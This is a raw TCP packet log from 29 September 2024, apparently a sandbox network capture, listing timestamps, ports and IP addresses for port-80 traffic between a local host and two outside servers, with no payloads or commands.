Sep 29, 2024 09:44:10.940304995 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.940331936 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.940362930 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.940371990 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.940412998 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.940488100 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.940541983 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.940577030 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.940615892 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.940654993 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.940700054 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.940740108 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.940792084 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.940830946 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.940869093 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.940907955 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.940947056 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.940984964 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.941050053 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.941090107 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.941128969 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.941168070 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.941206932 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.941246033 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.941284895 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.941323042 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.941359043 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.941396952 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.941436052 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.941473961 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.941513062 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.941551924 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.941591024 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.941627979 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.941667080 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.941705942 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.941744089 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.941782951 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.941822052 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.941859961 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.941898108 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.941936970 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.941978931 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.942023993 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.942063093 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.942101002 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.942138910 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.942176104 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.942214012 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.942251921 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.942289114 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947273016 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947288990 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947309017 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947325945 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947341919 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947360039 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947376013 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947422028 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947432995 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.947438955 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947451115 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947473049 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947479010 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.947490931 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947508097 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947525024 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947540998 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947557926 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947575092 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947591066 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947607994 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947624922 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947642088 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947669983 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947695017 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947711945 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947729111 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947751999 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947768927 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947783947 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947803974 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947819948 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947837114 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947854042 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947870016 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947889090 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947906017 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947922945 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.947938919 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.973344088 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.978126049 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.978307962 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.978368044 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.978368044 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.978415966 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:10.983161926 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.983223915 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.983266115 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.983326912 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.983367920 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.983441114 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.983480930 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.983520985 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.983560085 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.983598948 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.983656883 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.983700991 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.983740091 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.983778954 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.983817101 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.983855963 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.983895063 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.983933926 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.983973026 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.984011889 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.984071016 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.984108925 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.984148026 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.984186888 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.984225988 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.984270096 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.984309912 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.984349012 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.984388113 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.984426975 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.984462023 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.984502077 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.984541893 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.984580994 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.984620094 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.984663010 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.984703064 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.984743118 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.984785080 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:10.984822989 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:11.004595041 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:11.009635925 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:11.009732008 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:11.014677048 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:11.014722109 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:12.192807913 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:12.194080114 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:12.198961973 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:12.441595078 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:12.451347113 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:12.456312895 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:12.456480026 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:12.456480026 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:12.461313963 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:12.489018917 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:13.077673912 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:13.077760935 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:13.077807903 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:13.077843904 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:13.077879906 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:13.077959061 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:13.077969074 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:13.078008890 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:13.078057051 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:13.078104973 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:13.078139067 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:13.078151941 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:13.078182936 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:13.078202009 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:13.078288078 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.114105940 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.114236116 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.114293098 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.114515066 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.114562988 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.306873083 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.306934118 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.306998968 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.307020903 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.307065010 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.307115078 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.307123899 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.307185888 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.307233095 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.307234049 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.307286978 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.307332993 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.307368994 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.307463884 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.307512045 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.307512999 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.307559013 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.307620049 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.307655096 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.307684898 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.307729006 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.307750940 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.307799101 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.307841063 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.307843924 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.308732986 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.308779001 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.312717915 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.312772989 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.312832117 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.312855005 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.312969923 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.313011885 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.313218117 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.313325882 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.313374043 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.313575983 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.313659906 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.313705921 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.313709021 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.313756943 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.313803911 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.313805103 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.314481020 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.314527035 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.314560890 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.314640045 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.314683914 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.314687967 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.314735889 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.314786911 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.315428972 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.315493107 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.315540075 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.317745924 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.317863941 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.317922115 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.317943096 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.317991972 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.318039894 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.318274021 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.318397999 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.318444967 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.318635941 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.318701029 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.318744898 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.318949938 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.319013119 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.319051981 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.319582939 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.319647074 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.319693089 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.319736004 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.319813967 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.319855928 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.320095062 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.320157051 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.320209026 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.320507050 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.320564985 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.320611000 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.320620060 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.320667982 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.320713043 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.322779894 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.322879076 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.322923899 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.322926044 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.322989941 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.323035955 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.323050976 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.323106050 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.323148012 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.323151112 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.323198080 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.323242903 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.323359013 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.323462009 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.323502064 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.323507071 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.323575020 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.323621035 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.323745966 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.323864937 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.323908091 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.323928118 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.323976040 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.324019909 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.324162006 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.324227095 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.324270010 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.324274063 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.324321032 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.324367046 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.324568987 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.324631929 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.324666023 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.324676991 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.324727058 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.324770927 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.324944019 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.325017929 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.325061083 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.325066090 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.325113058 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.325159073 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.325333118 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.325417042 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.325459003 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.325463057 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.325510979 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.325552940 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.325726986 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.325803041 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.325843096 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.325849056 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.325898886 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.325948000 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.326136112 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.326201916 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.326246977 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.326250076 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.326297998 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.326371908 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.328078985 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.328142881 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.328186989 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.328190088 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.328241110 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.328289032 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.328306913 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.328372002 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.328418016 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.328421116 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.328468084 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.328512907 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.328543901 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.328620911 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.328660011 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:14.328665972 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.328715086 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:14.328761101 CEST	49706	80	192.168.2.5	147.45.47.81
